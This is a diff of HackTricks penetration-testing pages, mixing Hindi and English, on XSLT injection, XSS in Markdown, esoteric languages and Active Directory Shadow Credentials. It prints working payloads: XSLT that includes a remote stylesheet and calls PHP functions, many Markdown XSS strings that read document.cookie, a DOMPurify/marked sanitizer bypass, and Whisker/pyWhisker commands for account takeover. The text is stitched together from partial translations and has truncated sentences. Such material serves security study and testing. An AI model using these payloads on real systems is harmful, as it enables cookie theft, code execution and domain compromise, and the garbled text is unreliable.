<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" >
@ -309,7 +312,7 @@ Supports Backwards Compatibility: <xsl:value-of select="system-property('xsl:sup
</xsl:template>
</xsl:stylesheet>
```
## एक फ़ाइल में लिखें
## Write to a file
### XSLT 2.0
```xml
@ -322,7 +325,7 @@ Supports Backwards Compatibility: <xsl:value-of select="system-property('xsl:sup
</xsl:template>
</xsl:stylesheet>
```
### **Xalan-J एक्सटेंशन**
### **Xalan-J विस्तार**
```xml
<xsl:template match="/">
<redirect:open file="local_file.txt"/>
@ -330,6 +333,8 @@ Supports Backwards Compatibility: <xsl:value-of select="system-property('xsl:sup
<redirect:close file="loxal_file.txt"/>
</xsl:template>
```
अन्य तरीकों से PDF में फ़ाइलें लिखें
## बाहरी XSL शामिल करें
```xml
<xsl:include href="http://extenal.web/external.xsl"/>
@ -339,7 +344,7 @@ Supports Backwards Compatibility: <xsl:value-of select="system-property('xsl:sup
<?xml version="1.0" ?>
<?xml-stylesheet type="text/xsl" href="http://external.web/ext.xsl"?>
```
## कोड को निष्पादित करें
## कोड निष्पादित करें
### **php:function**
```xml
@ -362,13 +367,15 @@ xmlns:php="http://php.net/xsl" >
</body>
</html>
```
### **अन्य भाषाएँ**
Execute code using other frameworks in the PDF
**इस पृष्ठ पर आप अन्य भाषाओं में RCE के उदाहरण देख सकते हैं:** [**https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt\_injection#C%23%2FVB.NET%2FASP.NET**](https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt\_injection#C%23%2FVB.NET%2FASP.NET) **(C#, Java, PHP)**
### **अधिक भाषाएँ**
## **कक्षाओं से PHP स्थैतिक फ़ंक्शन का उपयोग करें**
**इस पृष्ठ पर आप अन्य भाषाओं में RCE के उदाहरण पा सकते हैं:** [**https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt\_injection#C%23%2FVB.NET%2FASP.NET**](https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt\_injection#C%23%2FVB.NET%2FASP.NET) **(C#, Java, PHP)**
निम्नलिखित फ़ंक्शन कक्षा XSL के स्थैतिक विधि `stringToUrl` को बुलाएगा:
## **क्लासेस से PHP स्थिर फ़ंक्शंस तक पहुँचें**
निम्नलिखित फ़ंक्शन क्लास XSL के स्थिर मेथड `stringToUrl` को कॉल करेगा:
```xml
<!--- More complex test to call php class function-->
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl"
@ -383,28 +390,33 @@ version="1.0">
</xsl:template>
</xsl:stylesheet>
```
## अधिक पेलोड्स
* जाँच करें [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSLT%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSLT%20Injection)
* जाँच करें [https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt_injection](https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt_injection)
(Example from [http://laurent.bientz.com/Blog/Entry/Item/using\_php\_functions\_in\_xsl-7.sls](http://laurent.bientz.com/Blog/Entry/Item/using\_php\_functions\_in\_xsl-7.sls))
## **ब्रूट-फ़ोर्स पहचान सूची**
## More Payloads
* Check [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSLT%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSLT%20Injection)
* Check [https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt_injection](https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt_injection)
## **Brute-Force Detection List**
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xslt.txt" %}
## **संदर्भ**
## **References**
* [XSLT\_SSRF](https://feelsec.info/wp-content/uploads/2018/11/XSLT\_SSRF.pdf)\\
* [http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Abusing%20XSLT%20for%20practical%20attacks%20-%20Arnaboldi%20-%20IO%20Active.pdf](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Abusing%20XSLT%20for%20practical%20attacks%20-%20Arnaboldi%20-%20IO%20Active.pdf)\\
* [http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Abusing%20XSLT%20for%20practical%20attacks%20-%20Arnaboldi%20-%20Blackhat%202015.pdf](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Abusing%20XSLT%20for%20practical%20attacks%20-%20Arnaboldi%20-%20Blackhat%202015.pdf)
{% hint style="success" %}
AWS हैकिंग सीखें और अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP हैकिंग सीखें और अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी को हैकट्रिक्स में विज्ञापित करना चाहते हैं**? या क्या आप **PEASS के नवीनतम संस्करण या हैकट्रिक्स को पीडीएफ में डाउनलोड करना चाहते हैं**? [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) की जाँच करें!
* खोजें [**द पीएस फैमिली**](https://opensea.io/collection/the-peass-family), हमारा विशेष [**एनएफटी**](https://opensea.io/collection/the-peass-family) संग्रह
* प्राप्त करें [**आधिकारिक पीएस और हैकट्रिक्स स्वैग**](https://peass.creator-spring.com)
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या मुझे **ट्विटर** पर फॉलो करें 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **अपने हैकिंग ट्रिक्स साझा करें, [हैकट्रिक्स रेपो](https://github.com/carlospolop/hacktricks) और [हैकट्रिक्स-क्लाउड रेपो](https://github.com/carlospolop/hacktricks-cloud) में पीआर जमा करके**
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,32 +1,35 @@
# XSS in Markdown
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं**? या आप **PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करना चाहते हैं**? [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) की जाँच करें!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
* [**आधिकारिक PEASS & HackTricks swag**](https://peass.creator-spring.com) प्राप्त करें
* **[**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में **शामिल हों** या मुझे **Twitter** पर फॉलो करें 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **अपने हैकिंग ट्रिक्स साझा करें, [hacktricks रेपो](https://github.com/carlospolop/hacktricks) और [hacktricks-cloud रेपो](https://github.com/carlospolop/hacktricks-cloud) में PR जमा करके**.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
If you have the chance to inject code in markdown, there are a few options you can use to trigger a XSS when the code gets interpreted.
यदि आपके पास मार्कडाउन में कोड इंजेक्ट करने का मौका है, तो कुछ विकल्प हैं जिनका उपयोग आप कोड के व्याख्या होने पर XSS को ट्रिगर करने के लिए कर सकते हैं।
### HTML tags
### HTML टैग
The most common way to get XSS in markdown is to inject common HTML tags that execute javascript, because several makdown interpreters will also accept HTML
मार्कडाउन में XSS प्राप्त करने का सबसे सामान्य तरीका सामान्य HTML टैग को इंजेक्ट करना है जो जावास्क्रिप्ट को निष्पादित करते हैं, क्योंकि कई मार्कडाउन व्याख्याकार HTML को भी स्वीकार करेंगे।
```html
<!-- XSS with regular tags -->
<script>alert(1)</script>
<img src=x onerror=alert(1) />
```
आप [hacktricks](./) के मुख्य XSS पृष्ठ में अधिक उदाहरण पा सकते हैं।
आप अधिक उदाहरण [hacktricks के मुख्य XSS पृष्ठ](./) में पा सकते हैं।
### जावास्क्रिप्ट लिंक
### Javascript लिंक
यदि HTML टैग एक विकल्प नहीं हैं तो आप हमेशा मार्कडाउन सिंटक्स के साथ खेलने की कोशिश कर सकते हैं:
यदि HTML टैग एक विकल्प नहीं हैं, तो आप हमेशा मार्कडाउन सिंटक्स के साथ खेलने की कोशिश कर सकते हैं:
```html
<!-- markdow link to XSS, this usually always work but it requires interaction -->
[a](javascript:prompt(document.cookie))
@ -41,16 +44,16 @@ The most common way to get XSS in markdown is to inject common HTML tags that ex
[a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)
[a](javascript:window.onerror=alert;throw%201)
```
### Img घटना विधि दुरुपयोग
### Img इवेंट सिंटैक्स दुरुपयोग
```markdown
![Uh oh...]("onerror="alert('XSS'))
![Uh oh...](https://www.example.com/image.png"onload="alert('XSS'))
![Escape SRC - onload](https://www.example.com/image.png"onload="alert('ImageOnLoad'))
![Escape SRC - onerror]("onerror="alert('ImageOnError'))
```
### HTML सेनिटाइजर मार्कडाउन बायपास
### HTML Sanitiser Markdown Bypass
निम्नलिखित कोड **HTML इनपुट को सेनिटाइज** कर रहा है और फिर इसे **मार्कडाउन पार्सर में पास** कर रहा है, फिर, XSS को Markdown और DOMPurify के बीच के गलत-समझ का शिकार करके ट्रिगर किया जा सकता है।
निम्नलिखित कोड **HTML इनपुट को साफ कर रहा है** और फिर **इसे मार्कडाउन पार्सर को पास कर रहा है**, फिर, XSS को Markdown और DOMPurify के बीच गलत व्याख्याओं का लाभ उठाकर ट्रिगर किया जा सकता है।
```html
<!--from https://infosecwriteups.com/clique-writeup-%C3%A5ngstromctf-2022-e7ae871eaa0e -->
<script src="https://cdn.jsdelivr.net/npm/dompurify@2.3.6/dist/purify.min.js"></script>
@ -62,7 +65,7 @@ document.body.innerHTML = marked.parse(DOMPurify.sanitize(qs.get("content")));
}
</script>
```
डेटा नमूना:
Payloads उदाहरण:
```html
<div id="1
@ -154,14 +157,17 @@ _http://danlec_@.1 style=background-image:url(data:image/png;base64,iVBORw0KGgoA
![XSS](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)\
![XSS'"`onerror=prompt(document.cookie)](x)\
```
{% hint style="success" %}
सीखें और AWS हैकिंग का अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
सीखें और GCP हैकिंग का अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>HackTricks का समर्थन करें</summary>
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी का हैकट्रिक्स में विज्ञापित करना चाहते हैं**? या क्या आप **PEASS के नवीनतम संस्करण देखना चाहते हैं या HackTricks को PDF में डाउनलोड करना चाहते हैं**? [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) की जाँच करें!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह।
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें।
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**डिस्कॉर्ड ग्रुप**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम ग्रुप**](https://t.me/peass) या **मुझे** **ट्विटर** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)** पर फॉलो** करें।
* **अपने हैकिंग ट्रिक्स साझा करें, [hacktricks रेपो](https://github.com/carlospolop/hacktricks) और [hacktricks-cloud रेपो](https://github.com/carlospolop/hacktricks-cloud) पर PR जमा करके**
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **हमें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो करें।**
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PRs सबमिट करें।
</details>
{% endhint %}

View file

@ -1,26 +1,31 @@
# एसोटेरिक भाषाएँ
# Esoteric languages
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
<summary>Support HackTricks</summary>
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी को HackTricks में विज्ञापित देखना चाहते हैं**? या क्या आप **PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करना चाहते हैं**? [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) की जांच करें!
* [**द पीएएस परिवार**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**एनएफटीज़**](https://opensea.io/collection/the-peass-family) संग्रह देखें
* [**आधिकारिक पीएएस और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में या **मुझे** **ट्विटर** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)** पर फॉलो** करें।
* **अपने हैकिंग ट्रिक्स साझा करें, [hacktricks रेपो](https://github.com/carlospolop/hacktricks) और [hacktricks-cloud रेपो](https://github.com/carlospolop/hacktricks-cloud) पर पीआर जमा करके**
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## [एसोलैंग्स विकि](https://esolangs.org/wiki/Main\_Page)
## [Esolangs Wiki](https://esolangs.org/wiki/Main\_Page)
अधिक एसोटेरिक भाषाओं की खोज करने के लिए उस विकि की जांच करें
इस विकी को अधिक एज़ोटेरिक भाषाएँ खोजने के लिए देखें
## Malbolge
```
('&%:9]!~}|z2Vxwv-,POqponl$Hjig%eB@@>}=<M:9wv6WsU2T|nm-,jcL(I&%$#"
`CB]V?Tx<uVtT`Rpo3NlF.Jh++FdbCBA@?]!~|4XzyTT43Qsqq(Lnmkj"Fhg${z@>
```
[http://malbolge.doleczek.pl/](http://malbolge.doleczek.pl)
## npiet
![](<../.gitbook/assets/image (146).png>)
@ -56,9 +61,9 @@ Take it to the top
Whisper my world
```
## पेटू
{% embed url="https://codewithrockstar.com/" %}
पेटू एक एक्सोटिक भाषा है जिसे रॉकस्टार ने विकसित किया है। यह एक उन्नत भाषा है जिसमें कमांड्स को अल्पविराम और अंकों के माध्यम से प्रकट किया जाता है।
## PETOOH
```
KoKoKoKoKoKoKoKoKoKo Kud-Kudah
KoKoKoKoKoKoKoKo kudah kO kud-Kudah Kukarek kudah
@ -68,14 +73,17 @@ KoKoKoKo Kud-Kudah KoKoKoKo kudah kO kud-Kudah kO Kukarek
kOkOkOkOkO Kukarek Kukarek kOkOkOkOkOkOkO
Kukarek
```
{% hint style="success" %}
AWS हैकिंग सीखें और अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP हैकिंग सीखें और अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>HackTricks का समर्थन करें</summary>
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी को HackTricks में विज्ञापित देखना चाहते हैं**? या क्या आप **PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करना चाहते हैं**? [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) की जाँच करें!
* [**द पीएस फैमिली**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**एनएफटीज़**](https://opensea.io/collection/the-peass-family) संग्रह।
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें।
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**डिस्कॉर्ड ग्रुप**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम ग्रुप**](https://t.me/peass) और **मुझे** **ट्विटर** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)** पर फॉलो** करें।
* **अपने हैकिंग ट्रिक्स साझा करें, [hacktricks रेपो](https://github.com/carlospolop/hacktricks) और [hacktricks-cloud रेपो](https://github.com/carlospolop/hacktricks-cloud) पर PR जमा करके।**
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**telegram समूह**](https://t.me/peass) में शामिल हों या **हमारे** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** का पालन करें।**
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PRs सबमिट करें।
</details>
{% endhint %}

View file

@ -1,31 +1,86 @@
# छाया प्रमाणपत्र
# Shadow Credentials
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
<summary>Support HackTricks</summary>
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी को HackTricks में विज्ञापित देखना चाहते हैं**? या क्या आपको **PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का एक्सेस चाहिए**? [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) की जांच करें!
* [**द पीएएस परिवार**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**एनएफटीज़**](https://opensea.io/collection/the-peass-family) संग्रह।
* [**आधिकारिक पीएएस और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें।
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **मुझे** ट्विटर पर **फॉलो** करें 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**।**
* **अपने हैकिंग ट्रिक्स साझा करें, [hacktricks रेपो](https://github.com/carlospolop/hacktricks) और [hacktricks-cloud रेपो](https://github.com/carlospolop/hacktricks-cloud) में पीआर जमा करके**
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## परिचय <a href="#3f17" id="3f17"></a>
## Intro <a href="#3f17" id="3f17"></a>
**इस तकनीक के बारे में [सभी जानकारी के लिए मूल पोस्ट की जांच करें](https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab)**
**Check the original post for [all the information about this technique](https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab).**
**सारांश में**: यदि आप किसी उपयोगकर्ता/कंप्यूटर के **msDS-KeyCredentialLink** गुण को लिख सकते हैं, तो आप उस ऑब्ज
**सारांश**: यदि आप एक उपयोगकर्ता/कंप्यूटर की **msDS-KeyCredentialLink** प्रॉपर्टी में लिख सकते हैं, तो आप उस ऑब्जेक्ट का **NT हैश** प्राप्त कर सकते हैं।
पोस्ट में, एक विधि का विवरण दिया गया है जो **सार्वजनिक-निजी कुंजी प्रमाणीकरण क्रेडेंशियल्स** स्थापित करने के लिए है ताकि एक अद्वितीय **सेवा टिकट** प्राप्त किया जा सके जिसमें लक्षित का NTLM हैश शामिल हो। इस प्रक्रिया में Privilege Attribute Certificate (PAC) के भीतर एन्क्रिप्टेड NTLM_SUPPLEMENTAL_CREDENTIAL शामिल है, जिसे डिक्रिप्ट किया जा सकता है।
### Requirements
इस तकनीक को लागू करने के लिए कुछ शर्तें पूरी होनी चाहिए:
- एक न्यूनतम Windows Server 2016 डोमेन कंट्रोलर की आवश्यकता है।
- डोमेन कंट्रोलर में एक सर्वर प्रमाणीकरण डिजिटल सर्टिफिकेट स्थापित होना चाहिए।
- सक्रिय निर्देशिका Windows Server 2016 फ़ंक्शनल स्तर पर होनी चाहिए।
- लक्षित ऑब्जेक्ट की msDS-KeyCredentialLink विशेषता को संशोधित करने के लिए प्रतिनिधि अधिकारों के साथ एक खाता आवश्यक है।
## Abuse
कंप्यूटर ऑब्जेक्ट के लिए की ट्रस्ट का दुरुपयोग टिकट ग्रांटिंग टिकट (TGT) और NTLM हैश प्राप्त करने से परे कदमों को शामिल करता है। विकल्पों में शामिल हैं:
1. लक्षित होस्ट पर विशेषाधिकार प्राप्त उपयोगकर्ताओं के रूप में कार्य करने के लिए एक **RC4 सिल्वर टिकट** बनाना।
2. **विशेषाधिकार प्राप्त उपयोगकर्ताओं** के अनुकरण के लिए **S4U2Self** के साथ TGT का उपयोग करना, जिसके लिए सेवा नाम में सेवा वर्ग जोड़ने के लिए सेवा टिकट में परिवर्तन की आवश्यकता होती है।
की ट्रस्ट के दुरुपयोग का एक महत्वपूर्ण लाभ यह है कि यह हमलावर द्वारा उत्पन्न निजी कुंजी तक सीमित है, संभावित रूप से कमजोर खातों को प्रतिनिधित्व से बचाता है और एक कंप्यूटर खाता बनाने की आवश्यकता नहीं होती, जिसे हटाना चुनौतीपूर्ण हो सकता है।
## Tools
### [**Whisker**](https://github.com/eladshamir/Whisker)
यह इस हमले के लिए C# इंटरफेस प्रदान करने वाले DSInternals पर आधारित है। Whisker और इसके Python समकक्ष, **pyWhisker**, सक्रिय निर्देशिका खातों पर नियंत्रण प्राप्त करने के लिए `msDS-KeyCredentialLink` विशेषता में हेरफेर करने की अनुमति देते हैं। ये उपकरण लक्षित ऑब्जेक्ट से कुंजी क्रेडेंशियल्स को जोड़ने, सूचीबद्ध करने, हटाने और साफ़ करने जैसी विभिन्न कार्यवाहियों का समर्थन करते हैं।
**Whisker** कार्यों में शामिल हैं:
- **Add**: एक कुंजी जोड़ी उत्पन्न करता है और एक कुंजी क्रेडेंशियल जोड़ता है।
- **List**: सभी कुंजी क्रेडेंशियल प्रविष्टियों को प्रदर्शित करता है।
- **Remove**: निर्दिष्ट कुंजी क्रेडेंशियल को हटाता है।
- **Clear**: सभी कुंजी क्रेडेंशियल्स को मिटा देता है, संभावित रूप से वैध WHfB उपयोग को बाधित करता है।
```shell
Whisker.exe add /target:computername$ /domain:constoso.local /dc:dc1.contoso.local /path:C:\path\to\file.pfx /password:P@ssword1
```
### [pyWhisker](https://github.com/ShutdownRepo/pywhisker)
यह **UNIX-आधारित सिस्टम** पर Whisker क्षमताओं को बढ़ाता है, Impacket और PyDSInternals का उपयोग करके पूर्ण शोषण क्षमताओं के लिए, जैसे KeyCredentials की सूची, जोड़ना, और हटाना, साथ ही उन्हें JSON प्रारूप में आयात और निर्यात करना।
यह Whisker कार्यक्षमता को **UNIX-आधारित सिस्टम** पर बढ़ाता है, जिसमें KeyCredentials की सूची बनाने, जोड़ने और हटाने के लिए Impacket और PyDSInternals का उपयोग किया जाता है, साथ ही इन्हें JSON प्रारूप में आयात और निर्यात करने की व्यपक शोषण क्षमताएँ शामिल हैं
```shell
python3 pywhisker.py -d "domain.local" -u "user1" -p "complexpassword" --target "user2" --action "list"
```
### [शैडोस्प्रे](https://github.com/Dec0ne/ShadowSpray/)
### [ShadowSpray](https://github.com/Dec0ne/ShadowSpray/)
शैडोस्प्रे का उद्देश्य है **डोमेन ऑब्ज
ShadowSpray का उद्देश्य **डोमेन ऑब्जेक्ट्स पर व्यापक उपयोगकर्ता समूहों के पास हो सकने वाले GenericWrite/GenericAll अनुमतियों का लाभ उठाना** है ताकि ShadowCredentials को व्यापक रूप से लागू किया जा सके। इसमें डोमेन में लॉग इन करना, डोमेन के कार्यात्मक स्तर की पुष्टि करना, डोमेन ऑब्जेक्ट्स की गणना करना, और TGT अधिग्रहण और NT हैश प्रकट करने के लिए KeyCredentials जोड़ने का प्रयास करना शामिल है। सफाई विकल्प और पुनरावृत्त शोषण रणनीतियाँ इसकी उपयोगिता को बढ़ाती हैं।
## References
* [https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab](https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab)
* [https://github.com/eladshamir/Whisker](https://github.com/eladshamir/Whisker)
* [https://github.com/Dec0ne/ShadowSpray/](https://github.com/Dec0ne/ShadowSpray/)
